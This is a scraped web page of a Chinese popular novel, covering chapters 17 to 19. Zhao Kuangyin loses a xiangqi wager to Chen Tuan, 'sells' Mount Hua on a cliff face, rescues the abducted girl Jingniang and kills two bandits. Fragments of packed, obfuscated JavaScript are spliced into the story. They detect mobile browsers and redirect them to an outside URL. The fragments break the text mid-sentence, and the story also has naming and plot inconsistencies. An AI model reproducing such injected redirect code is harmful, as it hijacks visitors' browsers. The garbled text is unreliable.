一睁眼,就看见床边站着个道士和一个小道童,赵匡胤愣了一下,赶紧坐起来问:“道长,请问您是哪位?这是哪里啊?我怎么会在这儿?” 褚玄笑着说:“施主,这里是西岳华山的神丹观,我叫褚玄。今早你带着病来观里,我看你是沾了鬼邪之气,就去山上我师父那里求了一粒金丹,给你灌下去,现在好多了吧?不知施主尊姓大名,家在哪里?怎么会遇到鬼邪呢?” 赵匡胤一听,赶紧从床上下来,对着褚玄拱手道谢:“多谢道长救命之恩!我叫赵匡胤,是汴梁人,这次是出来避灾,昨晚在前面的神鬼庄天齐庙,遇到五个鬼魅和一个判官赌钱,跟他们吵了一架,醒来就成这样了。” 褚玄赶紧扶住他:“施主身体还弱,不用多礼。”说着,就请赵匡胤坐下,青禾端来一杯热茶。褚玄又说:“原来您就是赵公子,我早就听过您的名声!那神鬼庄确实是个凶险地方,以前住了不少人,后来因为天齐庙里的五个鬼魅白天都敢出来害人,大家实在受不了,都搬走了。您能在那儿住一晚还没事,真是有大福分啊!现在逢凶化吉,也是您的造化。” 赵匡胤叹了口气:“全靠道长和令师帮忙,这份恩情我记在心里。对了,道长,令师是哪位高人啊?” 褚玄说:“我师父道号希夷,大家都叫他希夷老祖,就在华山上的希夷洞修行,最擅长看相,算得可准了。等您身体好透了,我想请您上山见见他,不知您愿意吗?” 赵匡胤一听,眼睛都亮了——他早就听说过陈抟老祖的名声,赶紧说:“要是能蒙道长引荐,拜见老祖,还请他指点一二,那真是我的福气!” 两人又聊了一会儿,青禾端来饭菜——四碟素菜,还有一碗稀粥,都是适合病人吃的。赵匡胤病刚好,胃口不大,喝了粥,吃了点素菜,就觉得饱了。接下来的几天,褚玄每天都让青禾熬些补身子的粥,还给他把脉调理,没几天,赵匡胤就恢复了精神,跟以前一样有力气了。 这天早上,赵匡胤邀褚玄一起上山见陈抟老祖。两人出了观门,慢慢往山上走,青禾本来想跟着,褚玄让他留在观里照看,就没带他。一路上,赵匡胤看着山上的景色,只觉得新鲜——小鹿叼着野花跑过,猴子捧着野果坐在树上看他们,砍柴的樵夫唱着山歌从身边走过,远处还有道士在炼丹,火光照亮了半边山。 正看着,赵匡胤忽然听见“啪嗒啪嗒”的声音,像是有人在拍棋子。他抬头一看,远处的山洞前,坐着两个老头在下棋。赵匡胤一下子来了兴趣,拉着褚玄说:“道长,你看那两位老人家下棋,多悠闲啊,真是神仙日子!现在天色还早,咱们先去看看,再去见老祖,应该不晚吧?” 褚玄笑着说:“当然可以,我陪你去。” 两人慢慢走过去,到了洞前,只见洞口的松柏长得比房子还高,挡住了太阳,凉快得很。那两个老头,一个穿着白道袍,一个穿着□□袍,背靠着石头,面对面坐在一张白石桌旁。石桌上放着个白玉棋盘,上面摆着三十二个白玉棋子,一边刻着红字,一边刻着黑字,正下得热闹,还赌着输赢呢。 赵匡胤悄悄站在穿□□袍的老头身后,盯着棋盘看。只见穿白道袍的老头走了一步“舍车取将”,把红车放到了黑马旁边,像是故意让对方吃。穿□□袍的老头伸手就要拿马吃车,赵匡胤忍不住喊了一声:“不能走!这是陷阱!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519282|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穿白道袍的老头抬眼瞅了赵匡胤一眼,没说话,又低下头看棋盘。穿□□袍的老头愣了一下,把手缩回来,仔细看了半天棋盘,才明白过来——要是吃了红车,对方的红炮就会吃掉自己的象,到时候还是输。他又琢磨了一会儿,忽然看出了红棋的破绽,没动马,反而走了另一个子,没几步,竟然赢了这局。 穿白道袍的老头输了,从旁边的布袋里掏出两锭金子,递给穿□□袍的老头。他重新摆好棋子,抬头对赵匡胤说:“这位施主,你看看棋盘中间写的什么?” 赵匡胤这才注意到,棋盘中间的河界上,刻着两句话:“观棋不语真君子,看著多言是小人。”他脸一下子红了——刚才光顾着看棋,没注意这字,现在人家输了棋,肯定怪自己多嘴。他心里琢磨:“这两锭金子可不是小数目,刚才我一句话,让他赢了,现在人家肯定不高兴。要不我再帮他看几着,让他赢回来,也算是赔个不是。” 正想着,两个老头又开始下了。这局该黑棋先走,穿□□袍的老头走得飞快,赵匡胤盯着棋盘,心里跟着算步数。没一会儿,穿白道袍的老头要提炮打黑卒,赵匡胤又忍不住开口:“这炮打了没用,先顾着自己的将!” 穿白道袍的老头赶紧看自己的棋,发现自己的将被两个马围着,要是走了炮,就成了“双马卧槽”,输定了。他赶紧把炮收回来,保住了将。 穿□□袍的老头回头看了赵匡胤一眼,笑着说:“红脸施主,你既然这么懂棋,不如跟我下三盘?敢不敢?” 赵匡胤本来就傲,听这话哪能忍?他冷笑着说:“老人家,您年纪大了,怎么还看不起人?下三盘就下三盘,我还能怕您?” 穿白道袍的老头开口了:“既然要下,就得说清楚——赌金子还是赌银子?” 赵匡胤摸了摸口袋,尴尬地说:“我是路过的,没带金子,赌银子吧。” 穿□□袍的老头说:“行,那每盘赌五十两银子,不许赖账。” 赵匡胤心想:“我在汴梁下棋,没输过几次,五十两银子算什么?”就答应了。穿□□袍的老头让他坐白道袍老头的位置,用红棋。两人摆好棋子,红棋先走,赵匡胤第一步就上士,心里想:“先把自己的将护住,稳扎稳打。” 可那穿□□袍的老头也不含糊,赵匡胤上士,他就出车;赵匡胤走当头炮,他就出马保卒;赵匡胤走转脚马,他就用将追。两人你吃我一个马,我吞你一个车,下得难解难分。赵匡胤心里还挺得意,觉得自己能赢,没料到老头突然走了一步舍车的棋,他没看清,跟着走了一步,一下子就落进了陷阱——第一盘,输了。 赵匡胤不服气,拍着桌子说:“这盘不算!咱们再下,赌一百两!” 老头笑着说:“一百两就一百两,我还怕你不给?” 这局该赢的人先走,老头没走马也没打炮,先把卒挺到了河边上。赵匡胤没明白这步棋的意思,赶紧把两边的车拉出来,想占先手。可老头接下来走了个“连环马”,把赵匡胤的炮都困住了。没一会儿,老头又变了个“二士入桃园”的棋式,用车占了中心,卒直接拱到将前——第二盘,又输了。 赵匡胤这下急了——两盘输了一百五十两,他身上根本没这么多银子!可他又不想丢面子,咬着牙说:“第三盘,咱们把前两盘的银子合起来赌!你要是赢了,我给你三百两;我要是赢了,前两盘的账就一笔勾销!” 老头笑了笑:“随你怎么赌,我都奉陪。不过我得提醒你——要是再输了,三百两银子,你拿得出来吗?到时候不光没面子,还得讨骂。” 赵匡胤脸都憋红了,想发火,可又想翻本,只能压着脾气说:“你别管我有没有银子,下就是了!” 老头又说:“空口无凭,得找个监局的,免得你赖账。”说着,就请旁边穿白道袍的老头当监局——这白道袍老头,正是陈抟老祖的老友,名叫云谷子,也是个得道的高人。褚玄在旁边看着,没敢说话。 老头刚要摆棋,又停住了:“算了,本该我先走,这次让你先走,免得你说我欺负你。” 赵匡胤心里一喜:“我先走,肯定能赢!”他小心翼翼地走了一步象,护住自己的将。老头跟着挺卒,赵匡胤提炮应对,两人又杀了起来。赵匡胤算来算去,觉得自己这次肯定能赢,可没料到老头只走卒,一步一步往他的将前拱,最后竟走出个“四马投唐”的棋式,一卒直接把将将死了——第三盘,还是输了。 赵匡胤傻坐在那儿,眼睛瞪着棋盘,脑子里一片空白,后背全是汗——他身上就那七锭银子,还是之前捡回来的,根本不够三百两。他琢磨着怎么赖账,开口说:“刚才那盘不算!你走了错步,怎么能算我输?” 老头脸一下子沉了:“你说什么?咱们下棋的时候,谁都看着呢,我哪步走错了?你想赖账?” 赵匡胤还想辩解:“就是你错了!要不咱们再下一盘,赢了的才算数!” 云谷子在旁边冷笑一声,说:“红脸施主,老话都说‘好汉吃打不叫疼,愿赌服输’。咱们在这儿下棋,又不是设局骗你钱,是你自己要赌的,说好的规矩,哪能说改就改?输了就该给银子,这么强辩,想赖账,算什么好汉?我们俩年纪大了,跟你打不过,就算这三百两银子捐给穷人,做件好事。可你呢?长得一表人才,却落个‘赖账’的名声,传出去,别人怎么笑你?” 这番话像针一样扎在赵匡胤心上,他只觉得脸上火辣辣的,手攥得紧紧的,指节都泛白了。他这辈子从没这么窘迫过,想发火,又没理由;想给钱,又拿不出来。 这正是:三盘残棋留下笔墨痕,一时傲气惹出是非来。 不知赵匡胤怎么解决这三百两银子的赌债,咱们且听下回分解。 18. 第 18 章 话说赵匡胤在西岳华山,正跟个白胡子老头下棋。他本来觉得自己棋艺不差,没成想连输三盘,脸上挂不住就想赖账——心里直犯嘀咕:“不就三盘棋吗?大不了下次赢回来,凭啥非得给三百两银子?”可没等他把赖账的话说圆,旁边那监局的老道(后来才知这老道叫玄清,是陈抟的老友)就慢悠悠开了口:“这位红面公子,下棋跟做人一个理,输了就认,哪有翻悔的道理?咱们这局是明明白白赌了银钱的,可不是小孩子过家家。” 这话戳得赵匡胤胸口发闷,像堵了团烧红的炭。他想发火,可转念一想:自己确实输了,要是真闹起来,传出去说“赵大公子下棋输了赖账”,那脸可就丢尽了。没办法,只能硬着头皮说:“罢了罢了!就当我耍钱掷了个臭点子。你们也别絮叨,我下山去神丹观拿银子来给你们,这事就算了了。” 那白胡子老头(就是陈抟)却摇了摇头:“公子这话可不对。我哪知道神丹观在哪?你要是哄我在这等着,自己跑了,我连你姓啥住哪都不知道,上哪儿找你去?输赢就在这棋盘跟前了,要给银子就现在给,别扯远了。” 赵匡胤又想叫褚玄(之前跟他一起来的道士)去拿,可转头一看,褚玄早没影了——左右瞅了一圈,连个人影都没见着。这下他是走也走不了,赖也赖不掉,急得直搓手,脚在地上磨来磨去,心里把褚玄骂了好几遍:“这老道去哪了?关键时候掉链子!” 陈抟见他这模样,脸色顿时沉了下来:“我们在这下棋,是你自己凑过来要赌的,输了三百两就装糊涂想赖账?别的地方或许有人怕你,但在我这关西地面,还轮不到你耍横。你要是实在拿不出银子,也行——给我磕个响头,我就饶你走,权当买只麻雀放生了。” 这话像巴掌似的扇在赵匡胤脸上,又热又疼。他脸涨得通红,心里的火“噌”地就冒上来了:“这老头也太过分了!敢让我赵匡胤磕头?”可手刚摸到腰间的神煞棍,又硬生生停住了——要是真对一个老头动手,传出去更难听,说不准还得被扣个“欺负老人”的罪名。没办法,只能把火气压下去,咬着牙没吭声。 旁边玄清老道见气氛僵了,又出来打圆场:“红面公子,咱们下棋赌钱,图的就是个敞亮。你要是没带银子,不如留件当物在这,等你取了银子再来赎,省得在这僵着。” 赵匡胤叹了口气:“老丈您也看看,我就是个赶路的,哪有什么值钱当物?就算把我身上这衣服扒下来给你们,也值不了三百两啊。” 陈抟却摆了摆手:“谁要你的衣服?就算是五爪龙袍,我老人家也不稀罕。你家里有没有房产地契?写一份给我,这事就算了。要是没房产,指一条大路、一座名山,立张卖契也行。” 赵匡胤听完差点笑出声,心里想:“常说‘有志不在年高’,这话反过来也对——没见识的人,活再大岁数也是个痴子。谁家能有大山大路当家产?这老头怕不是老糊涂了。既然他要装糊涂,我就陪他装到底,先把眼前这关混过去再说。” 于是他故意顺着陈抟的话说:“老人家,您要是真想要大山,我就把这华山写了卖给您,怎么样?” 陈抟眼睛一亮:“我要的就是你这华山!快写吧。” 赵匡胤又找借口:“没纸笔啊,您得去取来我才能写。” 陈抟指了指旁边的石壁:“谁有空去取纸笔?找块石头在石壁上划几句,就算数了。” 赵匡胤心里更乐了:“这老头是真痴!石壁上划的字,风一吹雨一淋就没了,算哪门子凭据?”他抬头扫了一圈,见不远处有块平整的峭壁,就捡了块锋利的石片,又问陈抟:“老人家,您贵姓?卖契上得写清楚买主。” 陈抟说:“我姓陈。” 赵匡胤就蹲在石壁前,一笔一划地划起来,嘴里还念叨着:“东京赵匡胤,因为没钱用,自愿把华山一座卖给陈姓,定价三百两银子。永远归陈姓所有,不用交租交税。怕以后没凭据,特意在石头上写这卖契为证。” 划完了,他还得意地拍了拍手,心里想:“这就叫‘顺水推舟’,等我走了,这石片划的印子用不了几天就没了,到时候他找谁要华山去?”可没等他得意完,就见石壁上刚才划的白印子,慢慢变成了黑字,跟用浓墨写的似的,还泛着光。 赵匡胤心里“咯噔”一下,手里的石片“啪嗒”掉在地上。他揉了揉眼睛,再看——那黑字还是清清楚楚的,连他刚才多划的一笔都看得明明白白。他心里直发毛:“这咋回事?难不成这华山真成我的了?还是这老头会什么法术?” 正愣着,就见褚玄从旁边的树林里走出来,赵匡胤像抓着救命稻草似的,急忙问:“仙长,你刚才去哪了?我找你半天了!” 褚玄擦了擦嘴角的水珠:“刚才走得口渴,去涧边喝了口泉水,让公子久等了。” 赵匡胤又问:“令师在哪?我们快去拜见,见完了好下山。” 褚玄指了指陈抟,笑着说:“这位就是家师。” 赵匡胤吓得差点跳起来,心里想:“我的天!刚才跟我下棋、逼我写卖契的,竟然是褚玄的师父?我刚才还在心里笑他痴,这下可糟了,别是得罪了高人吧?”他赶紧拱手,想行弟子礼,嘴里说:“小可刚才眼拙,没认出是仙长,差点失礼,还望仙长恕罪!” 陈抟连忙拦住他:“公子不必多礼,咱们行宾主之礼就好。”又拉着玄清老道跟赵匡胤互相见了礼。 赵匡胤这才敢问陈抟的名号,陈抟说:“贫道姓陈,名抟,别号希夷。不知公子贵姓高名?” 赵匡胤忙说:“在下姓赵,名匡胤,表字元朗。” 陈抟点点头:“原来是东京的赵大公子,早就听说公子是个英雄,今日能见到,真是三生有幸。要是早知道是公子,我哪敢跟您下棋赌钱?刚才多有冒犯,还望公子别往心里去。那石壁上的字要是让人看见了,总归不太雅观,公子还是擦了吧。” 赵匡胤听了,赶紧走过去想把字擦掉——他也怕这字真成了凭据,以后麻烦。可手刚碰到石壁,就发现那黑字跟长在上面似的,越擦越黑,跟印板印的一样。 玄清老道在旁边笑道:“别费力气了,留着吧,以后也是个古迹。” 赵匡胤心里犯嘀咕:“古迹?这字要是真留着,以后我要是有了出息,别人拿这说事咋办?”可他也没辙,只能先把这事放下,又对陈抟说:“仙翁,我听褚玄仙长说您会看相,能不能帮我看看?指点指点前程吉凶,我感激不尽。” 陈抟却摆了摆手:“别听小徒瞎说,贫道哪会看相?不过我有个道友,相法很高明,他这就来了。” 赵匡胤赶紧回头看,可身后空荡荡的,哪有人影?再转头,就见陈抟和玄清老道化作一阵清风,没影了,地上却留着一张柬帖。 赵匡胤捡起来,仔细读了一遍——上面写着:“贫道陈抟致赵公子:刚才闲来无事,约了华山仙翁下棋,本来是等公子来,想跟公子讨点缘法。没成想赢了三盘棋,还蒙公子赐我华山,以后不用交粮交税,贫道能安稳住着,真是沾了公子的光,多谢了!没什么可报答的,就随便说几句:我看公子的面相,是贵不可言的命,过几年就能飞黄腾达。到时候‘汉’运到头,‘周’朝兴起,陈桥那地方会是公子的根基,到时候‘天水’(赵家的郡望)就能兴盛;等看到‘烛影摇红’,就是公子如龙腾飞的时候了。随便说的几句话,还望公子好好琢磨。” 赵匡胤把柬帖翻来覆去读了好几遍,前面说“赢棋得华山”的事能看明白,可后面“汉毕周兴”“烛影摇红”这些话,怎么想都想不通——心里琢磨:“‘烛影摇红’?难不成我以后要当管灯烛的官?不对啊,我可是要干大事的人。”他把柬帖叠好,揣进怀里,对褚玄说:“令师真是神仙啊!就是我输了三盘棋,怕是要被令师笑话了。” 褚玄连忙说:“不过是偶尔输了一局,师父哪会笑话公子?”说着,就陪赵匡胤下山,回了神丹观。到观里时天已经黑了,道童端来晚饭,两人吃完,就各自歇了。 第二天,赵匡胤收拾行李想走,褚玄却拦着他:“公子,你前些天受的伤还没好透,现在赶路怕是不行,再养几天吧,等身子彻底好了再走也不迟。” 赵匡胤见褚玄说得诚恳,心里也觉得身子确实还有点虚,就答应留下来。这一养又是好几天,直到身上的力气全恢复了,跟没受伤时一样。 这天,褚玄去前山采草药了,赵匡胤一个人在观里待着无聊,就绕着殿宇闲逛。逛到观后面,见那地方冷冷清清的,只有一间小殿,殿门还锁着,静得能听见自己的脚步声。他围着小殿转了一圈,正想转身回去,就听见殿里传来隐隐的哭声——是个女子的声音,哭得断断续续的,还带着委屈和害怕,听得人心里发揪。 赵匡胤心里犯起了嘀咕:“这道观是出家人待的地方,清净得很,怎么会有女子藏在殿里?这里面肯定有问题,别是褚玄他们干了什么见不得人的事吧?” 刚想找个道童问问,就见褚玄提着药篮回来了。赵匡胤一肚子火顿时冒了上来,快步走过去,声音都带着气:“褚玄仙长,那殿里锁的是谁?为什么有女子在里面哭?” 褚玄见他动了怒,赶紧摆着手说:“公子别管这事,都是些麻烦事,免得惹祸上身。” 这话更让赵匡胤生气了——他本来就不是怕事的人,又见褚玄遮遮掩掩的,心里更认定这里面有猫腻。他手按在腰间的神煞棍上,眼睛瞪得溜圆:“出家人讲究清净无为,不沾红尘是非,怎么还敢藏女子?你今天要是不说清楚,我就自己砸开殿门看!” 褚玄见他真动了火,知道瞒不住了,赶紧拉着他走到一边,压低声音说:“公子别生气,这里面真有隐情,跟我们观里没关系。那女子是被两个响马掳来的——一个叫‘满天飞’张广儿,一个叫‘着地滚’周进,上个月把女子寄在我们观里,让我们帮忙看着,还说要是出了差错,就把观里的人全杀了。我们也是怕惹祸,才敢答应的,公子您可千万别声张啊。” 赵匡胤皱着眉问:“那两个响马现在在哪?” 褚玄说:“他们把女子放在这,就去别的地方做买卖了,到现在还没回来。” 赵匡胤还是不相信:“我才不信!那强人本就不是好东西,掳了这么个女子,肯定是贪图她的模样,怎么会放着不碰,还寄在道观里?你别骗我了,赶紧把殿门打开,我要亲自问那女子。” 褚玄没办法,只能喊来一个叫“云松”的老道士(这是观里的老住户,平时负责看殿),让他去拿钥匙。云松一边找钥匙,一边小声劝:“公子,这事真别管了,那两个响马心狠手辣,上次有个客商路过,就因为多看了他们一眼,就被打断了腿,咱们惹不起啊。” 赵匡胤却摆了摆手:“道长放心,真出了事,我一力承担,绝不连累你们。” 很快,云松拿来了钥匙,打开了殿门。殿里的哭声一下子清楚了,还带着颤抖——那女子以为是响马回来了,哭得更厉害了。赵匡胤迈步走进殿里,就见一个姑娘躲在神像后面,身子缩成一团,双手紧紧抓着衣角,头发有些乱,衣服上还有几块补丁,可模样却很周正:眉梢像被春雨润过的柳叶,眼窝里盛着的泪珠子像碎了的月光,一抽一抽的样子,连肩头的补丁都跟着发颤,倒比那些穿绫罗绸缎的姑娘更让人疼。 赵匡胤放轻了声音,尽量让语气温和些:“姑娘别怕,我不是坏人,也不是那些掳你的响马。你出来,跟我说说你的情况,要是有什么委屈,我帮你做主。” 那姑娘慢慢从神像后面探出头,看了赵匡胤一眼——见他虽然长得高大,脸上带着点英气,可眼神很和善,不像是坏人,才慢慢走了出来,对着赵匡胤福了福身。 赵匡胤还了礼,刚想说话,褚玄和云松也跟着进来了,褚玄在旁边介绍:“姑娘,这位是东京来的赵公子,是个好人,你有什么话就跟他说吧。” 那姑娘这才敢开口,声音还有点抖:“公子,奴家姓赵,小名叫京娘,家在蒲州解梁县小祥村,今年十七岁。前些天跟爹来华山还香愿,刚出庙门,就被两个大汉掳走了——他们还把爹推倒在地上,说要是爹敢喊,就杀了爹。后来他们把我带到这道观,说先放在这,等再掳个姑娘,就一起成亲。他们走了一个月,到现在还没回来。” 赵匡胤问:“那这一个月里,观里的道士有没有欺负你?” 京娘摇了摇头,眼泪又掉了下来:“没有,观里的道长们都没见过我,每天就从门缝里递点干粮进来。我也没心思吃,一来是想爹,二来是怕——怕那些响马回来,我就活不成了。我本来想,等他们回来,就一头撞死在神像上,也不能让他们糟蹋了我,丢了爹娘的脸。” 赵匡胤听了,心里也跟着发酸——他想起自己的妹妹,要是妹妹遇到这种事,他肯定也会拼了命保护。他攥紧了拳头,对京娘说:“京娘,你是良家女子,不该受这种委屈。既然让我遇上了,我就不能不管——我送你回蒲州,找你爹去。” 京娘愣了一下,随即又摇了摇头,眼里的希望刚冒出来,又灭了:“公子的好意,奴家心领了。可蒲州离这有千里远,我一个女子,就算出了这道观,也走不回去。路上要是再遇到坏人,还不如死在这呢。” 赵匡胤拍了拍胸脯:“有我在,没人敢欺负你!救人救到底,送佛送到西,我既然说了要送你,就肯定送你到家。” 旁边褚玄又急了:“公子,你要是走了,那两个响马回来问我们要人,我们咋办啊?” 赵匡胤说:“你就跟他们说,是我赵匡胤打开殿门,把京娘带走了。他们要是不服气,就让他们往蒲州方向找我——要是真让我遇上他们,正好让他们尝尝我的厉害,省得他们再害别人!” 褚玄见他态度坚决,也没办法,只能问:“那公子打算什么时候走?” 赵匡胤说:“就明天早上,早走早安心。” 当天晚上,褚玄让云松和道童准备了酒菜,给赵匡胤饯行。桌子上摆了炒青菜、炖豆腐,还有一小盘花生米,都是观里能拿出来的最好的菜。刚要坐下,赵匡胤忽然想起一件事,对京娘说:“京娘,我有个想法,跟你商量一下。” 京娘连忙说:“公子有话尽管说,奴家听公子的。” 赵匡胤说:“从这到蒲州,路上要走好多天,咱们一个男一个女,一路上别人看了难免会说闲话。我想借着这桌酒,跟你结为兄妹——以后路上我喊你‘贤妹’,你喊我‘恩兄’,这样别人就不会误会了。你看行不行?” 京娘脸一红,连忙摆手:“公子是宦门贵人,奴家就是个乡下女子,哪敢跟公子结兄妹?这太委屈公子了。” 旁边云松老道也劝:“姑娘,赵公子说得对,你们要是同行,结为兄妹是最好的办法,不用这么客气。” 褚玄也跟着说:“是啊,以后路上有个照应,也名正言顺。” 京娘见他们都这么说,又看赵匡胤眼神诚恳,没有一点嫌弃的意思,才点了点头,对着赵匡胤跪了下来,磕了个头:“恩兄在上,受小妹一拜。” 赵匡胤赶紧把她扶起来,也对着她拜了一拜:“贤妹快起来,以后咱们就是亲兄妹了。” 京娘又给褚玄和云松磕了头,感谢他们这些天的照顾。褚玄特意给京娘单独摆了一张小桌子,让她坐着吃,自己则陪着赵匡胤喝酒,一直喝到半夜才散席。晚上,褚玄把自己的卧房让给京娘住,自己则跟赵匡胤睡在外面的厢房里。 第二天一早,天刚蒙蒙亮,云松就起来煮了粥,还蒸了几个馒头。赵匡胤和京娘吃完早饭,褚玄又拿出一些干粮和碎银子,递给赵匡胤:“公子,这些干粮路上吃,碎银子留着住店用。那两个响马掳来的时候,还带了一匹马,我已经让道童备好鞍轡了,让京娘姑娘骑马,你走路,能省点力气。” 赵匡胤接过东西,谢了褚玄。京娘也对着褚玄和云松拜了拜:“多谢道长们这些天的照顾,小妹以后要是有机会,一定回来报答。” 云松叹了口气:“姑娘不用谢我们,路上跟紧赵公子,平平安安到家就好。” 很快,道童把马牵了过来——是一匹枣红马,看起来很壮实。赵匡胤帮京娘把行李放在马背上,又扶她上了马,自己则背上行囊,手里提着神煞棍,对褚玄和云松拱了拱手:“道长们多保重,我们走了。” 两人一马,就这样离开了神丹观,朝着蒲州的方向走去。 走了两天,这天中午,他们路过一个叫“清风镇”的小镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳明远见他态度坚决,也没办法,只能从书箱里拿出一张地图,递给赵匡胤:“这是我画的赤松林小路图,里面有个岔路口,走左边那条路能快些,也相对安全点,你们拿着用吧。” 赵匡胤接过地图,谢了柳明远,就带着京娘继续往前走。京娘心里却有点怕,小声问:“恩兄,前面真的有响马吗?咱们会不会遇到危险啊?” 赵匡胤拍了拍手里的神煞棍,笑着说:“贤妹别怕,有这根棍子在,就算遇到响马,我也能保护你。” 又走了一个多时辰,就看见前面一片松林,远远望去,像一团火烧云似的,看着就透着股凶险——这就是赤松林了。赵匡胤让京娘下马,把马拴在路边的树上,对她说:“贤妹,你在这等着,我先进去看看,要是没危险,再喊你进来。要是遇到响马,你就躲在树后面,别出来。” 京娘点了点头,心里却捏着一把汗。 赵匡胤提着神煞棍,大踏步走进松林。刚走没几步,就从树后窜出四五个拿着刀棍的喽啰,为首的一个脸上有疤的喽啰喊道:“哪来的小子?敢闯我们的地盘!留下买路财,不然别怪我们不客气!” 赵匡胤冷笑一声:“就你们这点本事,也敢拦我的路?赶紧让开,不然我不客气了!” 那疤脸喽啰见他不怕,就挥了挥手:“兄弟们,上!给这小子点颜色看看!” 四个喽啰举着刀棍就冲了上来,赵匡胤也不慌,手里的神煞棍一挥,“嘭”的一声,就把一个喽啰的棍子打飞了。另一个喽啰想从背后偷袭,赵匡胤耳朵尖,听见身后有动静,猛地转身,一棍打在那喽啰的腿上,那喽啰“哎哟”一声,倒在地上直哼哼。剩下两个喽啰见势不妙,想跑,赵匡胤快步追上,一棍一个,都把他们打趴在地。 正想审问他们,就听见松林深处传来一声大喝:“哪个不长眼的,敢打我的人!” 赵匡胤抬头一看,只见一个身材魁梧的大汉,手里提着一根笔管枪,带着十几个喽啰跑了过来——正是“着地滚”周进。周进看见地上躺着的喽啰,气得眼睛都红了,指着赵匡胤骂:“你这红脸小子,敢管爷爷的事,今天非把你打出屎来不可!” 赵匡胤也不跟他废话,举着神煞棍就冲了上去。周进挺枪就刺,枪尖直对着赵匡胤的胸口。赵匡胤身子一侧,躲开枪尖,手里的神煞棍对着周进的胳膊就打了过去。周进赶紧收枪挡,“铛”的一声,震得他胳膊发麻。 两人你来我往,打了二十多回合。周进本来觉得自己枪法不错,可跟赵匡胤打了一会儿,就觉得越来越吃力——赵匡胤的棍子又快又狠,招招都对着他的要害。周进心里发慌,枪法也乱了,一不小心,被赵匡胤一棍打在腿上,“噗通”一声倒在地上。 赵匡胤怕他起来再害人,又补了一棍,周进哼都没哼一声,就没气了。 那些喽啰见周进死了,吓得魂都没了,转身就想跑。赵匡胤刚想追,忽然想起京娘还在外面,心里“咯噔”一下:“不好,贤妹一个人在外面,别出事!”他赶紧往松林外跑,刚跑出松林,就看见几个喽啰正拉着京娘的马,想把京娘掳走。 赵匡胤大喊一声:“住手!毛贼敢动我贤妹,找死!” 那些喽啰见赵匡胤追来了,吓得赶紧放开京娘,四散逃走。赵匡胤也没追,快步走到京娘身边,问:“贤妹,你没事吧?他们没欺负你吧?” 京娘吓得脸色发白,拉着赵匡胤的袖子说:“恩兄,我没事。刚才那几个喽啰里,有两个去过神丹观,认识我,还说要把我送到张大王那去——幸好恩兄及时回来,不然我就被他们掳走了。” 赵匡胤安慰她说:“没事了,周进已经被我杀了,以后没人敢欺负你了。咱们赶紧走,免得再遇到别的响马。” 可刚走没几里路,就听见身后传来马蹄声,还有人的喊叫声:“前面的红脸小子,给我站住!把人留下,饶你不死!” 赵匡胤回头一看,只见一个骑着黑马的大汉,手里拿着两把刀,带着几十个喽啰,正往这边赶来——正是“满天飞”张广儿。原来刚才逃走的喽啰跑到张广儿的山寨,把周进被杀、京娘被救的事说了,张广儿气得火冒三丈,心里想:“周进这废物,连个女人都看不住!我要是不把那红脸小子杀了,以后怎么在这一带立足?”于是就带着喽啰,快马加鞭追了过来。 张广儿追上他们,勒住马,指着赵匡胤骂:“你这红脸汉,敢杀我的兄弟,还抢我的女人,今天我要把你碎尸万段!” 赵匡胤把京娘护在身后,手里的神煞棍一摆:“张广儿,你和周进掳掠妇女,残害百姓,早就该杀了!今天我就替天行道,送你去见周进!” 说完,他就朝着张广儿冲了过去。张广儿舞着双刀,迎了上来。两人打了起来——张广儿的刀法很快,双刀上下翻飞,像两道白光似的。赵匡胤不敢大意,手里的神煞棍舞得密不透风,挡住张广儿的刀。 打了十多回合,赵匡胤看出张广儿的刀法有个破绽——每次他砍左边的时候,右边都会露空。赵匡胤故意卖了个破绽,假装要打张广儿的左边,张广儿果然上当,举刀去挡左边。赵匡胤趁机把神煞棍一换方向,对着张广儿的右手就打了过去。 “咔嚓”一声,张广儿的右手被打断了,手里的刀“当啷”一声掉在地上。张广儿疼得大叫一声,拨转马头想跑。赵匡胤哪会给他机会,快步追上去,手里的神煞棍对着张广儿的后背就是一棍。张广儿从马上掉下来,当场就没气了。 那些喽啰见张广儿也死了,吓得腿都软了,有的跪在地上求饶,有的转身就想跑。赵匡胤大喝一声:“你们要是想活命,就赶紧回家种地,以后别再当响马害人!要是再让我看见你们做坏事,定不饶你们!” 那些喽啰连忙磕头,爬起来就跑,一会儿就没影了。 京娘看着赵匡胤的背影,眼里满是感激——她没想到,这个素不相识的恩兄,不仅救了她,还饶了那些喽啰的命,真是个仁义勇猛的英雄。 赵匡胤回头看了看天色,见太阳已经快落山了,就对京娘说:“贤妹,前面好像有个客栈,咱们今晚就在那歇脚,明天再赶路。” 京娘点了点头,跟着赵匡胤朝着客栈的方向走去。夕阳把他们的影子拉得很长,一路上,京娘心里暗暗发誓:以后一定要报答恩兄的救命之恩,绝不能让恩兄白受这份辛苦。 可他们不知道,前面的客栈里,还藏着别的麻烦——那客栈的老板,其实是张广儿的远房亲戚,早就听说张广儿要去追一个红脸汉,正等着给张广儿报信呢。接下来,赵匡胤和京娘会遇到什么危险?他们能不能顺利到达蒲州?咱们下回再接着说。 19. 第 19 章 话说那盗匪张广儿带着一群手下追过来,满心想着要把京娘抢回去,没成想反倒被赵匡胤一剑砍死。剩下的小喽啰们吓得转身就要跑,赵匡胤却大喝一声把他们喊住:“你们别慌!我是东京来的赵大郎,跟这贼人张广儿、周进有旧仇,如今他俩都被我杀了,这事跟你们没关系。” 小喽啰们一听这话,齐刷刷地扔了手里的刀枪,“扑通”一声全跪在地上磕头。赵匡胤皱着眉嘱咐:“你们从今天起,得改邪归正,别再做这些伤天害理的事。要是不听我的话,以后再碰见我,可就别怪我不客气了,都散了吧!” 